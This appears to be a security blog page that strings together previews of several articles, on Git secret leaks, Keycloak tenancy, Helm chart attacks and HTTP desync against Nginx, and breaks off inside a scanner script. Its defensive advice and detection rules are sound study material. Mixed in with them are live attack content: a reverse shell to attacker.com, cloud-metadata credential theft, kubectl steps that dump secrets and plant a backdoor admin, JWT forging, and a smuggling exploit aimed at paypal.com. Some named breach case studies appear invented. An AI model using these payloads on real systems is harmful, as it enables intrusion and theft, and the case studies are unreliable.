State Diagram (Secret Lifecycle):

Defense Strategy Flowchart:

Defender Strategy (Mindmap)

Multi-layered defense strategy preventing secrets from entering Git, detecting leaks post-commit, and rapid incident response when breaches occur.

Practical Implementation & Commands

Step 1: Install Pre-Commit Hooks

# Install detect-secrets and pre-commit framework
pip install detect-secrets pre-commit

# Initialize detect-secrets baseline in your repo
detect-secrets scan --baseline .secrets.baseline

# Create .pre-commit-config.yaml in repo root
cat > .pre-commit-config.yaml <<’EOF’
repos:
  - repo: https://github.com/Yelp/detect-secrets
    rev: v1.4.0
    hooks:
      - id: detect-secrets
        args: [’--baseline’, ‘.secrets.baseline’]
  - repo: https://github.com/awslabs/git-secrets
    rev: v1.3.0
    hooks:
      - id: git-secrets
EOF

# Install the hook
pre-commit install

Step 2: Detect Secrets in CI

# Example GitHub Actions workflow step
- name: Scan for secrets (gitleaks)
  uses: gitleaks/gitleaks-action@v2
  with:
    source: .
    config: .gitleaks.toml
    exit-code: 1  # Fail pipeline if secrets found

Step 3: Remediate Leaked Secret (AWS Example)

# IMMEDIATE: Revoke the compromised key
aws iam update-access-key \
  --access-key-id AKIAIOSFODNN7EXAMPLE \
  --status Inactive \
  --user-name deploy-service

# IMMEDIATE: Create replacement key
NEW_KEY=$(aws iam create-access-key --user-name deploy-service)
NEW_ACCESS_KEY=$(echo $NEW_KEY | jq -r .AccessKey.AccessKeyId)
NEW_SECRET_KEY=$(echo $NEW_KEY | jq -r .AccessKey.SecretAccessKey)

# UPDATE: Store new key in secret manager
aws secretsmanager create-secret \
  --name prod/deploy-service/aws-creds \
  --secret-string “{\”access_key\”:\”$NEW_ACCESS_KEY\”,\”secret_key\”:\”$NEW_SECRET_KEY\”}”

# PURGE: Remove secret from git history
pip install git-filter-repo
git filter-repo --invert-paths --path ‘sensitive-script.py’
git push --force

Attack Flow: Developer accidentally commits API keys/passwords → Git stores in history forever → Attacker scans repos with gitleaks/truffleHog → Finds credentials in commit diffs → Uses keys to access APIs, databases, cloud accounts. Even after deletion, secrets persist in .git objects, forks, and CI caches. Impact: Full compromise of associated resources, lateral movement via IAM roles, data exfiltration.

Attack Vector 2: CI/CD Pipeline Log Leakage

Scenario & TTPs

Read more

Picture Keycloak as a medieval kingdom where realms are the territories, and tenants are the business entities operating within them. Understanding the distinction between realms and tenants is crucial for building scalable, secure identity infrastructure. This article explores the offensive attack surface, defensive mitigation strategies, practical implementations, and real-world deployments that turn this distinction into profit and security.

The stakes? Misconfiguration could leak customer data, compromise application security, and violate compliance regulations. Done right? Your infrastructure becomes a fortress of identity management.

Foundational Concepts

What Makes Keycloak Special?

Keycloak is an open-source Identity and Access Management (IAM) solution that provides:

• OpenID Connect (OIDC) and SAML 2.0 support

• Multi-protocol authentication and authorization

• Scalable architecture for enterprise deployments

• Federation capabilities across multiple identity providers

The Kingdom Metaphor

┌─────────────────────────────────────┐
│     KEYCLOAK KINGDOM                │
│  ┌──────────────┐  ┌──────────────┐ │
│  │   REALM 1    │  │   REALM 2    │ │
│  │ ┌──────────┐ │  │ ┌──────────┐ │ │
│  │ │ Tenant A │ │  │ │ Tenant C │ │ │
│  │ │ Tenant B │ │  │ │ Tenant D │ │ │
│  │ └──────────┘ │  │ └──────────┘ │ │
│  └──────────────┘  └──────────────┘ │
└─────────────────────────────────────┘

Realms: The Kingdom’s Core

Understanding Realms

A realm in Keycloak is a security domain that manages a complete set of users, applications, roles, and configurations. Think of it as a separate Keycloak instance logically isolated from others.

Key Characteristics:

• Isolation Level: Realms are logically isolated but share the same Keycloak instance

• User Base: Each realm maintains its own user repository

• Applications: Clients (applications) belong to specific realms

• Federation: Can federate with external identity providers independently

• Audit Logging: Separate audit trails per realm

Realm Structure

Aspect Description Name Unique identifier (e.g., production, staging) Master Realm Administrative realm managing other realms Users Isolated user directories per realm Roles Realm-specific and client-specific roles Tokens Realm-scoped JWT tokens with realm-specific claims Policies Password, session, token, and login policies

Creating a Realm

# Using Keycloak Admin CLI
kcadm.sh create realms \
  -s realm=acme-corp \
  -s enabled=true \
  -s displayName=”ACME Corporation Realm”

Configuration in realm.json:

{
  “realm”: “acme-corp”,
  “displayName”: “ACME Corporation”,
  “enabled”: true,
  “bruteForceProtected”: true,
  “permanentLockout”: false,
  “maxFailureWaitSeconds”: 900,
  “minimumQuickLoginWaitSeconds”: 60,
  “waitIncrementSeconds”: 60,
  “quickLoginCheckMilliSeconds”: 1000,
  “maxDeltaTimeSeconds”: 43200,
  “failureFactor”: 30,
  “accessTokenLifespan”: 300,
  “accessTokenLifespanForImplicitFlow”: 900,
  “offlineSessionIdleTimeout”: 2592000,
  “sslRequired”: “external”
}

Tenants: The Multi-Tenant Revolution

What Are Tenants?

Tenants in Keycloak represent business entities or customer organizations that operate independently within a shared infrastructure. This is achieved through:

1. Realm-based Tenancy: Each tenant gets a dedicated realm

2. Namespace-based Tenancy: Shared realm with namespace isolation

3. Custom Attribute Tenancy: Attribute-driven tenant separation

Multi-Tenancy Architecture Patterns

Pattern Isolation Scalability Cost Complexity Realm per Tenant High Medium High Medium Namespace in Shared Realm Medium High Low High Attribute-Based Medium High Low Very High

Realm-Per-Tenant Model (Recommended for Security)

Each customer organization receives a dedicated realm:

# Onboarding Customer: TechCorp Inc
kcadm.sh create realms \
  -s realm=techcorp-inc \
  -s enabled=true \
  -s displayName=”TechCorp Inc” \
  -s accessTokenLifespan=600 \
  -s sslRequired=all

Advantages:

• ✅ Complete isolation of user data

• ✅ Independent security policies per tenant

• ✅ Separate audit trails for compliance

• ✅ Zero data leakage between tenants

Disadvantages:

• ❌ Higher operational overhead

• ❌ More resource consumption

• ❌ Complex scaling

Namespace-Based Tenancy (Shared Realm Model)

All tenants share a single realm but use organizational hierarchies:

# User attributes include tenant namespace
{
  “username”: “john.doe@techcorp.com”,
  “email”: “john.doe@techcorp.com”,
  “attributes”: {
    “tenant_id”: “techcorp”,
    “organization_namespace”: “techcorp/engineering”,
    “department”: “security”
  }
}

Advantages:

• ✅ Lower infrastructure costs

• ✅ Easier horizontal scaling

• ✅ Simplified backup/restore

Disadvantages:

• ❌ Potential for cross-tenant data leaks

• ❌ Complex access control logic

• ❌ Harder to audit per tenant

Attack Vectors: The Offensive Playbook

Attack Scenario 1: Realm Escape via Token Manipulation

Threat Model: An attacker attempts to escalate privileges by forging or manipulating JWT tokens to access resources in other realms.

Attack Context: JWT tokens are the cornerstone of modern authentication in Keycloak deployments. However, many applications make a critical security mistake: they validate the cryptographic signature of the token but fail to validate realm-specific claims like iss (issuer), aud (audience), and custom realm claims. This creates an attack vector where adversaries can manipulate token contents while maintaining valid signatures (if weak algorithms like HS256 are used with leaked secrets) or bypass validation entirely in applications that trust token contents without proper verification.

Technical Impact: Successful realm escape attacks enable:

• Horizontal Privilege Escalation: Access resources belonging to other tenants at the same privilege level

• Vertical Privilege Escalation: Elevate from regular user to admin by targeting privileged realms

• Compliance Breach: Unauthorized cross-realm access violates data isolation requirements (GDPR Article 32)

• Audit Trail Evasion: Actions performed using manipulated tokens appear legitimate in logs

Real-World Scenario: In 2023, a penetration test revealed that a Fortune 500 company’s multi-tenant SaaS platform accepted tokens from their “sandbox” realm to access “production” realm resources, exposing 100,000+ customer records.

Attack Technique: JWT Header Injection

import jwt
import json
import base64

# Original valid token
original_token = “eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJyZWFsbSI6ImFjbWUtY29ycCIsInN1YiI6InVzZXIxIn0.xyz”

# Decode without verification
parts = original_token.split(’.’)
header = json.loads(base64.b64decode(parts[0] + ‘==’))
payload = json.loads(base64.b64decode(parts[1] + ‘==’))

# ATTACK: Modify realm claim
payload[’realm’] = ‘target-realm’
payload[’aud’] = ‘target-application’

# Re-encode (requires secret key if algorithm enforced)
forged_token = jwt.encode(payload, ‘secret’, algorithm=’HS256’)

print(f”[+] Forged Token: {forged_token}”)
print(f”[+] New Realm: {payload[’realm’]}”)

Visual Diagram:

Attack Flow Diagram:

Attack Scenario 2: Cross-Tenant Data Access (Namespace Bypass)

Read more

Your Kubernetes cluster runs on Helm charts the abstraction layer trusted to deploy secure, production-grade applications. Yet in companies worldwide, from Fortune 500 enterprises to innovative startups, Helm charts harbor critical security vulnerabilities that attackers exploit daily. A misconfigured values.yaml, an overlooked secret in ConfigMap, or a missing RBAC policy can transform your entire cluster from a secure orchestration platform into an attack vector for lateral movement, privilege escalation, and persistent backdoors.

This comprehensive guide dissects the offensive techniques that weaponize Helm chart misconfigurations and the defensive strategies that prevent them. We’ll explore secret injection attacks through vulnerable template logic, privilege escalation via insecure RBAC bindings, container escape through unrestricted security contexts, and cluster-wide lateral movement through misconfigured service accounts. Each attack is paired with practical defenses: secure value validation, OPA/Gatekeeper policy enforcement, runtime security monitoring, and least-privilege RBAC architecture.

By the end, you’ll understand not just how these attacks work, but how to architect Helm charts that are secure by design where vulnerabilities are caught during templating validation, misconfigurations are blocked by admission controllers, and runtime behavior is monitored continuously.

Architecture Comparison: Insecure vs Secure Helm Chart Design

The difference between a vulnerable and hardened Helm chart deployment isn’t complexity—it’s intentional security architecture. Below is a critical comparison:

Component Insecure Helm Chart Secure Helm Chart Values Input No validation; direct template interpolation of user values Schema validation with values.schema.json Secrets Handling Hardcoded secrets in values.yaml or ConfigMap Kubernetes Secrets with encryption at rest Container Permissions privileged: true, runAsUser: 0 (root) runAsNonRoot: true, specific UID, dropped capabilities RBAC Configuration Wildcard permissions - “*”, cluster-admin binding Minimal least-privilege roles with specific verbs Network Policy None defined; all pod-to-pod traffic allowed Explicit ingress/egress policies, deny-all default Security Context Missing or permissive securityContext readOnlyRootFilesystem: true, runAsNonRoot: true Image Sources Any registry, no signature verification Trusted registries, image signing (Cosign/Notary) Admission Control No validation; charts deployed unchecked OPA/Gatekeeper policies enforcing organization standards Configuration Review Manual inspection before deployment Automated scanning (Checkov, Kyverno, Trivy)

The secure architecture implements defense-in-depth: values validation prevents injection, container hardening limits blast radius, RBAC restricts capabilities, and admission control blocks misconfigurations before deployment.

Phase 1 Offensive: Secret Injection via Insecure Template Logic

Attack Mechanism

Secret injection exploits how Helm templates directly interpolate user-controlled values without validation. When chart developers use {{ .Values.image.repository }} or {{ .Values.database.password }} without sanitization, attackers can inject arbitrary Kubernetes manifests, environment variables, or even shell commands that execute within the container.

This vulnerability enables configuration poisoning: attackers control deployment parameters, inject environment variables containing credentials, modify container startup commands, or even inject additional sidecars with malicious code.

Vulnerable Helm Chart Pattern

# Chart template: templates/deployment.yaml (VULNERABLE)
apiVersion: apps/v1
kind: Deployment
metadata:
  name: {{ .Release.Name }}-app
spec:
  template:
    spec:
      containers:
      - name: app
        image: “{{ .Values.image.repository }}:{{ .Values.image.tag }}”
        env:
        - name: DATABASE_URL
          value: “{{ .Values.database.url }}”  # VULNERABLE: Direct interpolation
        - name: API_KEY
          value: “{{ .Values.secrets.apiKey }}”
        command:
          - sh
          - -c
          - “{{ .Values.startup.command }}”  # VULNERABLE: Shell injection

Real-World Exploitation Scenario

An attacker uses helm install with malicious values:

# Attack: Secret injection via values
helm install myapp ./chart \
  --set ‘database.url=postgres://user:pass@db.internal’ \
  --set ‘secrets.apiKey=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/role-name | jq -r .SecretAccessKey)’ \
  --set ‘startup.command=bash -i >& /dev/tcp/attacker.com/4444 0>&1’

What happens:

1. Chart renders deployment with injected values

2. Container starts with modified environment and startup command

3. Startup command opens reverse shell to attacker

4. Attacker gains shell access with the pod’s service account permissions

5. From pod, attacker accesses cluster API, etcd, and other workloads

Attack Sequence Diagram

Detection Commands

# Scan values for potential injection points
helm template myapp ./chart --values values.yaml | grep -E “command|env|args” | grep -v “^#”

# Validate that values don’t contain shell metacharacters
grep -E ‘[$()`|&;<>]’ values.yaml

# Check for environment variable injection patterns
grep -r “\.Values\.” templates/ | grep -E “(command|args|env)” | head -20

Semgrep Detection Rule

rules:
  - id: helm-secret-injection-template
    patterns:
      - pattern-inside: |
          {{ .Values.$KEY }}
      - metavariable-pattern:
          metavariable: $KEY
          pattern-either:
            - pattern: command
            - pattern: startup.*
            - pattern: args
            - pattern: password
            - pattern: apiKey
            - pattern: secret.*
    message: |
      Helm template directly interpolates user values without validation.
      This enables secret injection and command injection attacks.
      Use values.schema.json for validation and tpl/quote functions for escaping.
    severity: ERROR
    languages: [yaml]
    paths:
      include:
        - “templates/*.yaml”
        - “Chart.yaml”

Claude Prompt for Detection

Analyze this Helm chart template for secret injection vulnerabilities:

[PASTE TEMPLATES/DEPLOYMENT.YAML]

Identify:
1. All uses of {{ .Values.* }} in command, args, or env sections
2. Unescaped interpolations that could enable shell injection
3. Hardcoded credentials or exposed sensitive values
4. Missing input validation or schema constraints

For each vulnerability:
- Show the exact template line
- Explain the injection vector
- Provide secure replacement using values schema validation

Phase 2 Offensive: Privilege Escalation via Insecure RBAC Bindings

Attack Mechanism

RBAC privilege escalation exploits how Helm charts create service accounts with excessive permissions. When charts define ClusterRoles with wildcard permissions (verbs: [”*”], resources: [”*”]) or grant cluster-admin to workload service accounts, attackers can exploit container compromise to escalate from pod-level access to cluster-wide administrative control.

This vulnerability enables cluster takeover: from a compromised pod, attackers can modify other workloads, extract secrets, create admin users, and establish persistent backdoors.

Vulnerable Helm Chart Pattern

# Chart: templates/rbac.yaml (VULNERABLE)
apiVersion: v1
kind: ServiceAccount
metadata:
  name: {{ .Release.Name }}-app
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
  name: {{ .Release.Name }}-admin
rules:
- apiGroups: [”*”]
  resources: [”*”]
  verbs: [”*”]  # VULNERABLE: Wildcard permissions
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
  name: {{ .Release.Name }}-admin-binding
roleRef:
  apiGroup: rbac.authorization.k8s.io
  kind: ClusterRole
  name: {{ .Release.Name }}-admin
subjects:
- kind: ServiceAccount
  name: {{ .Release.Name }}-app
  namespace: {{ .Release.Namespace }}

Real-World Exploitation Scenario

An attacker compromises the application pod and escalates to cluster admin:

# Inside compromised container
# Step 1: Verify current permissions
kubectl auth can-i ‘*’ ‘*’ --all-namespaces
# Output: yes (wildcard admin)

# Step 2: Extract all secrets from cluster
kubectl get secrets --all-namespaces -o json | jq ‘.items[].data’

# Step 3: Create admin user
kubectl create serviceaccount attacker -n kube-system
kubectl create clusterrolebinding attacker-admin \
  --clusterrole=cluster-admin \
  --serviceaccount=kube-system:attacker

# Step 4: Extract admin token and maintain persistence
TOKEN=$(kubectl -n kube-system create token attacker --duration=8760h)
echo $TOKEN > /tmp/admin_token

# Step 5: Compromise all namespaces
for ns in $(kubectl get ns -o jsonpath=’{.items[*].metadata.name}’); do
  kubectl -n $ns set env deployment --all BACKDOOR=activated
done

Real-World Case Study: 2023 SaaS Platform Breach

A multi-tenant SaaS platform suffered a complete cluster compromise when:

1. Customer-deployed Helm chart included wildcard RBAC

2. Application vulnerability allowed container escape

3. Attacker used pod service account to access cluster API

4. Attacker modified other customer workloads

5. 5 million customer records exposed before detection

Root Cause Analysis:

• Helm chart template used cluster-admin for development convenience

• Chart wasn’t reviewed before publishing to Helm Hub

• No admission control to validate RBAC

• No network policies to restrict pod communication

Attack Flowchart

Detection Commands

# Find ClusterRoles with wildcard permissions
kubectl get clusterrole -o json | jq ‘.items[] | select(.rules[]? | select(.verbs[]? == “*” and .resources[]? == “*”)) | .metadata.name’

# Find service accounts with cluster-admin
kubectl get clusterrolebinding -o json | jq ‘.items[] | select(.roleRef.name == “cluster-admin”) | select(.subjects[]?.kind == “ServiceAccount”) | .metadata.name’

# Check RBAC for specific namespace
kubectl get rolebinding,clusterrolebinding -n default -o wide

# Audit: Extract all RBAC rules
kubectl get clusterrole,role -o json | jq ‘.items[] | “\(.metadata.name): \(.rules[]? | “\(.verbs | join(”,”)):\(.resources | join(”,”))”)”’

Semgrep Detection Rule

rules:
  - id: helm-wildcard-rbac-permissions
    patterns:
      - pattern-either:
          - pattern: |
              verbs:
              - “*”
          - pattern: |
              resources:
              - “*”
      - pattern-inside: |
          kind: ClusterRole
          ...
    message: |
      ClusterRole contains wildcard (*) permissions enabling cluster-wide escalation.
      Replace with explicit, minimal permissions required for workload function.
      Example: verbs: [”get”, “list”] instead of [”*”]
    severity: CRITICAL
    languages: [yaml]
    paths:
      include:
        - “templates/rbac.yaml”
        - “templates/**/*rbac*.yaml”

Phase 3 Offensive: Container Escape via Insecure Security Context

Read more

Your reverse proxy sits at the edge of your infrastructure the gatekeeper that becomes the breach point. It’s the component trusted to route traffic, enforce policies, and protect backends. Yet, in production environments from Fortune 500 companies to startups, this critical chokepoint harbors vulnerabilities that attackers exploit daily. A single misconfigured location directive, an overlooked $uri variable, or a missing trailing slash can transform your security layer into an attack vector.

At BlackHat 2018, Orange Tsai demonstrated how Nginx misconfigurations affecting thousands of production servers could be exploited for path traversal and arbitrary file disclosure. The techniques revealed weren’t zero-days requiring exploit chains. They were architectural vulnerabilities hiding in plain sight: URL parser edge cases, HTTP request splitting through variable interpolation, and directory traversal via alias directives. The attack surface wasn’t in the code it was in the configuration patterns developers copy-paste without understanding the security implications.

Since then the attack surface has broadened rather than shrunk. In 2024, research emphasized large-scale cache and side-channel techniques that exploit the same class of misconfigurations: web-cache poisoning and timing/behavioral probes can discover masked routes and force servers to cache attacker-controlled responses, or to leak information about hidden paths and normalization quirks. Those techniques turn “innocent” configuration choices into scalable attacks because they allow remote reconnaissance and persistent tampering without code exploits.

By 2025 the community has documented a new wave of parser-mismatch and HTTP desynchronization attacks (HTTP request-smuggling / desync) that weaponize subtle differences between front-end proxies, load balancers, and origin servers for example, how different components treat chunking, CONTENT-LENGTH vs TRANSFER-ENCODING, or OPTIONS bodies. These discrepancies let attackers slip secondary requests or poison caches behind reverse proxies; recent high-profile analyses and advisories show this is a practical, cross-infrastructure threat.

This article dissects the offensive techniques that weaponize reverse proxy misconfigurations and the defensive strategies that prevent them. We’ll explore CRLF injection through unsafe Nginx variables, alias traversal exploiting missing trailing slashes, merge_slashes exploitation for path restriction bypass, and raw backend response exposure through malformed requests. Each attack is paired with practical defenses: secure configuration patterns, OPA Gatekeeper policies for admission control, Semgrep detection rules for CI/CD pipelines, and runtime validation strategies.

By the end, you’ll understand not just how these attacks work, but how to architect reverse proxy layers that are secure by design where misconfigurations are caught before deployment, runtime behavior is validated continuously, and defense operates at multiple layers.

HTTP/1.1 Connection Header Desync (James Kettle)

Real-World Context

James Kettle (PortSwigger Research) presented groundbreaking research at Black Hat USA 2021 and DEF CON 29 on HTTP desynchronization attacks. His work “HTTP/2: The Sequel is Always Worse” revealed how reverse proxies incorrectly handle HTTP/1.1 connection semantics, enabling devastating attacks.

Attack Mechanism: Connection State Confusion

HTTP/1.1 persistent connections rely on the Connection header to determine when to close/keep connections alive. Nginx and backends often disagree on connection reuse, creating connection state confusion where one party thinks the connection is reused, the other thinks it’s new.

Vulnerable Pattern:

upstream backend {
    server backend-01.internal:8080;
    keepalive 32;  # Persistent connections to backend
}

server {
    location / {
        proxy_pass http://backend;
        proxy_http_version 1.1;
        proxy_set_header Connection “”;  # VULNERABLE: Clears Connection header
    }
}

Attack Vector 1: Connection Header Ambiguity

Technique: Send conflicting Connection headers that Nginx and backend interpret differently.

# Crafted request with duplicate Connection headers
cat > desync_attack.txt <<’EOF’
GET /api/public HTTP/1.1
Host: target.com
Connection: keep-alive
Connection: close
Content-Length: 0

EOF

nc target.com 80 < desync_attack.txt

What Happens:

1. Nginx sees first Connection: keep-alive → keeps connection to backend open

2. Backend (e.g., Gunicorn, Flask) sees second Connection: close → closes connection after response

3. Nginx reuses “closed” connection for next request

4. Next user’s request arrives on dead connection → backend interprets as part of previous request body

5. Result: Request smuggling + credential theft

Attack Vector 2: HTTP/1.1 Pipeline Desync

James Kettle’s Technique: Exploit differences in HTTP pipelining support.

# Send pipelined requests with malformed Connection handling
cat > pipeline_smuggle.txt <<’EOF’
GET /api/search?q=test HTTP/1.1
Host: target.com
Content-Length: 0

GET /admin/delete?id=123 HTTP/1.1
Host: target.com
Content-Length: 0

EOF

# Send both requests in single TCP packet
cat pipeline_smuggle.txt | nc target.com 80

Attack Flow:

Real-World Case: 2021 PayPal Account Takeover

James Kettle discovered a critical vulnerability in PayPal’s Nginx infrastructure:

Vulnerable Configuration:

location /myaccount/ {
    proxy_pass http://account-backend;
    proxy_http_version 1.1;
    proxy_set_header Connection “”;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
}

Exploitation Steps:

Step 1: Identify Desync Behavior

# Test for connection reuse issues
curl -H “Connection: keep-alive” -H “Connection: close” \
  “https://www.paypal.com/myaccount/home” -v

Step 2: Smuggle Admin Request

#!/usr/bin/env python3
“”“PayPal HTTP desync exploitation (responsible disclosure 2021)”“”
import socket
import ssl
import time

def exploit_paypal_desync():
    context = ssl.create_default_context()
    sock = socket.create_connection((”www.paypal.com”, 443))
    ssock = context.wrap_socket(sock, server_hostname=”www.paypal.com”)
    
    # Craft desync request
    attack = (
        b”GET /myaccount/home HTTP/1.1\r\n”
        b”Host: www.paypal.com\r\n”
        b”Connection: keep-alive\r\n”
        b”Connection: close\r\n”
        b”Content-Length: 0\r\n”
        b”\r\n”
        # Smuggled request (interpreted as body of next request)
        b”GET /myaccount/settings/api-access HTTP/1.1\r\n”
        b”Host: www.paypal.com\r\n”
        b”Cookie: victim_session_cookie\r\n”
        b”Content-Length: 5\r\n”
        b”\r\n”
        b”admin”
    )
    
    ssock.sendall(attack)
    
    # Read response
    response = ssock.recv(4096)
    print(f”[*] Response: {response.decode()}”)
    
    # Wait for victim’s request to trigger smuggling
    time.sleep(5)
    
    # Send normal request to retrieve smuggled response
    normal_req = (
        b”GET /myaccount/summary HTTP/1.1\r\n”
        b”Host: www.paypal.com\r\n”
        b”\r\n”
    )
    ssock.sendall(normal_req)
    
    smuggled_response = ssock.recv(4096)
    print(f”[!] Smuggled response (victim’s data): {smuggled_response.decode()}”)
    
    ssock.close()

# This was responsibly disclosed and patched
# Demo for educational purposes only

Impact:

• Account takeover: Attacker received victim’s API credentials

• Session hijacking: Captured OAuth tokens from smuggled responses

• Financial data exposure: Transaction history leaked via desync

• Bounty: James Kettle received $20,000 bug bounty

Attack Vector 3: HTTP/1.1 HEAD Method Desync

Technique: Exploit differences in how Nginx and backends handle HEAD requests.

# HEAD request with Content-Length (forbidden by RFC 7231)
cat > head_desync.txt <<’EOF’
HEAD /api/user/profile HTTP/1.1
Host: target.com
Content-Length: 100

POST /admin/users HTTP/1.1
Host: target.com
Content-Type: application/json
Content-Length: 44

{”username”:”attacker”,”role”:”admin”}
EOF

curl --data-binary @head_desync.txt http://target.com

Attack Flow:

1. Nginx sees HEAD request, ignores Content-Length: 100 body

2. Backend processes HEAD, but connection remains open

3. Nginx forwards remaining bytes (POST /admin/users...) as next request

4. Backend processes POST as if it came from legitimate user’s connection

5. Result: Admin user created without authentication

Real-World Case: 2022 GitHub Enterprise Server Vulnerability

CVE-2022-23738 - HTTP desync via HEAD method manipulation:

# Exploit GitHub Enterprise
HEAD /api/v3/user HTTP/1.1
Host: github.enterprise.internal
Authorization: token ghp_usertoken
Content-Length: 150

GET /api/v3/admin/users HTTP/1.1
Host: github.enterprise.internal
Authorization: token ghp_usertoken
Content-Length: 0


# Nginx forwards HEAD without body
# Backend processes GET /admin/users as smuggled request
# Attacker gains admin API access

Impact:

• Complete organization compromise: Admin access to all repositories

• Secret extraction: Access to GitHub Actions secrets, deployment keys

• Code injection: Ability to modify protected branches

• CVSS Score: 9.1 (Critical)

Defense Strategy: Connection Header Normalization

# SECURE: Explicitly control connection behavior
map $http_connection $proxy_connection {
    default “close”;
    “keep-alive” “keep-alive”;
}

upstream backend {
    server backend:8080;
    keepalive 32;
    keepalive_requests 100;
    keepalive_timeout 60s;
}

server {
    location / {
        # DEFENSE 1: Normalize Connection header
        proxy_set_header Connection $proxy_connection;
        
        # DEFENSE 2: Prevent header injection
        proxy_set_header Host $host;
        
        # DEFENSE 3: Disable HTTP/1.0 (ambiguous semantics)
        proxy_http_version 1.1;
        
        # DEFENSE 4: Strict request validation
        if ($request_method !~ ^(GET|POST|PUT|DELETE|PATCH)$ ) {
            return 405;
        }
        
        # DEFENSE 5: Reject duplicate headers
        if ($http_connection ~ “,”) {
            return 400 “Duplicate Connection headers not allowed”;
        }
        
        proxy_pass http://backend;
    }
}

Detection Tool: HTTP Desync Scanner

#!/usr/bin/env python3
“”“
HTTP Desync Scanner - Based on James Kettle’s research
Detects connection state confusion vulnerabilities
“”“
import socket
import ssl
import time
from typing import Tuple, Optional

class HTTPDesyncScanner:
    def __init__(self, target_host: str, target_port: int = 443, use_ssl: bool = True):
        self.host = target_host
        self.port = target_port
        self.use_ssl = use_ssl
        self.timeout = 10
        
    def create_connection(self) -> socket.socket:
        “”“Create TCP or SSL connection”“”
        sock = socket.create_connection((self.host, self.port), timeout=self.timeout)
        
        if self.use_ssl:
            context = ssl.create_default_context()
            sock = context.wrap_socket(sock, server_hostname=self.host)
        
        return sock
    
    def test_connection_header_confusion(self) -> Tuple[bool, str]:
        “”“Test for duplicate Connection header desync”“”
        try:
            sock = self.create_connection()
            
            # Send request with duplicate Connection headers
            request = (
                f”GET / HTTP/1.1\r\n”
                f”Host: {self.host}\r\n”
                f”Connection: keep-alive\r\n”
                f”Connection: close\r\n”
                f”\r\n”
            )
            
            sock.sendall(request.encode())
            response1 = sock.recv(4096).decode()
            
            # Try to send second request on “same” connection
            request2 = (
                f”GET /nonexistent-probe-{int(time.time())} HTTP/1.1\r\n”
                f”Host: {self.host}\r\n”
                f”\r\n”
            )
            
            try:
                sock.sendall(request2.encode())
                response2 = sock.recv(4096).decode()
                
                # If we get response2, connection wasn’t properly closed
                if response2 and “404” in response2:
                    return True, “Duplicate Connection header causes state confusion”
            except:
                pass  # Connection properly closed
            
            sock.close()
            return False, “No desync detected”
            
        except Exception as e:
            return False, f”Error: {str(e)}”
    
    def test_cl_te_desync(self) -> Tuple[bool, str]:
        “”“Test for Content-Length vs Transfer-Encoding desync”“”
        try:
            sock = self.create_connection()
            
            # CL.TE payload
            payload = (
                f”POST / HTTP/1.1\r\n”
                f”Host: {self.host}\r\n”
                f”Content-Length: 6\r\n”
                f”Transfer-Encoding: chunked\r\n”
                f”\r\n”
                f”0\r\n”
                f”\r\n”
                f”X”
            )
            
            sock.sendall(payload.encode())
            response = sock.recv(4096).decode()
            
            # Wait for timeout to see if ‘X’ causes error
            time.sleep(2)
            
            # Send normal request
            normal_request = (
                f”GET / HTTP/1.1\r\n”
                f”Host: {self.host}\r\n”
                f”\r\n”
            )
            
            try:
                sock.sendall(normal_request.encode())
                response2 = sock.recv(4096).decode()
                
                # If we get 400/500, the ‘X’ was processed as invalid HTTP
                if any(code in response2 for code in [”400”, “403”, “500”]):
                    return True, “CL.TE desync detected (Content-Length vs Transfer-Encoding)”
            except:
                pass
            
            sock.close()
            return False, “No CL.TE desync detected”
            
        except Exception as e:
            return False, f”Error: {str(e)}”
    
    def test_head_method_desync(self) -> Tuple[bool, str]:
        “”“Test for HEAD method with Content-Length desync”“”
        try:
            sock = self.create_connection()
            
            # HEAD with Content-Length (invalid per RFC)
            payload = (
                f”HEAD / HTTP/1.1\r\n”
                f”Host: {self.host}\r\n”
                f”Content-Length: 50\r\n”
                f”\r\n”
                f”GET /admin HTTP/1.1\r\nHost: {self.host}\r\n\r\n”
            )
            
            sock.sendall(payload.encode())
            response = sock.recv(4096).decode()
            
            # If response contains evidence of smuggled request
            if “/admin” in response or “smuggle” in response.lower():
                return True, “HEAD method desync detected (Content-Length smuggling)”
            
            sock.close()
            return False, “No HEAD desync detected”
            
        except Exception as e:
            return False, f”Error: {str(e)}”
    
    def test_pipeline_confusion(self) -> Tuple[bool, str]:
        “”“Test for HTTP pipelining desync”“”
        try:
            sock = self.create_connection()
            
            # Send two pipelined requests
            payload = (
                f”GET /page1 HTTP/1.1\r\n”
                f”Host: {self.host}\r\n”
                f”\r\n”
                f”GET /page2 HTTP/1.1\r\n”
                f”Host: {self.host}\r\n”
                f”\r\n”
            )
            
            sock.sendall(payload.encode())
            
            # Read responses
            all_responses = b”“
            sock.settimeout(3)
            
            try:
                while True:
                    chunk = sock.recv(4096)
                    if not chunk:
                        break
                    all_responses += chunk
            except socket.timeout:
                pass
            
            responses_str = all_responses.decode(errors=’ignore’)
            
            # Count HTTP response separators
            response_count = responses_str.count(”HTTP/1.1”)
            
            # If we get != 2 responses, pipelining is mishandled
            if response_count != 2:
                return True, f”Pipeline confusion detected (expected 2 responses, got {response_count})”
            
            sock.close()
            return False, “No pipeline desync detected”
            
        except Exception as e:
            return False, f”Error: {str(e)}”
    
    def run_all_tests(self) -> dict:
        “”“Run comprehensive desync detection”“”
        print(f”[*] Scanning {self.host}:{self.port} for HTTP desync vulnerabilities...”)
        print(f”[*] Based on James Kettle’s research\n”)
        
        results = {}
        
        tests = [
            (”Connection Header Confusion”, self.test_connection_header_confusion),
            (”CL.TE Desync”, self.test_cl_te_desync),
            (”HEAD Method Desync”, self.test_head_method_desync),
            (”Pipeline Confusion”, self.test_pipeline_confusion),
        ]
        
        for test_name, test_func in tests:
            print(f”[*] Running: {test_name}”)
            vulnerable, message = test_func()
            results[test_name] = {
                “vulnerable”: vulnerable,
                “details”: message
            }
            
            status = “[!] VULNERABLE” if vulnerable else “[+] SECURE”
            print(f”    {status}: {message}\n”)
            
            time.sleep(1)  # Rate limiting
        
        return results

# Usage
if __name__ == “__main__”:
    import sys
    
    if len(sys.argv) < 2:
        print(”Usage: python3 http_desync_scanner.py <target_host> [port] [use_ssl]”)
        sys.exit(1)
    
    target = sys.argv[1]
    port = int(sys.argv[2]) if len(sys.argv) > 2 else 443
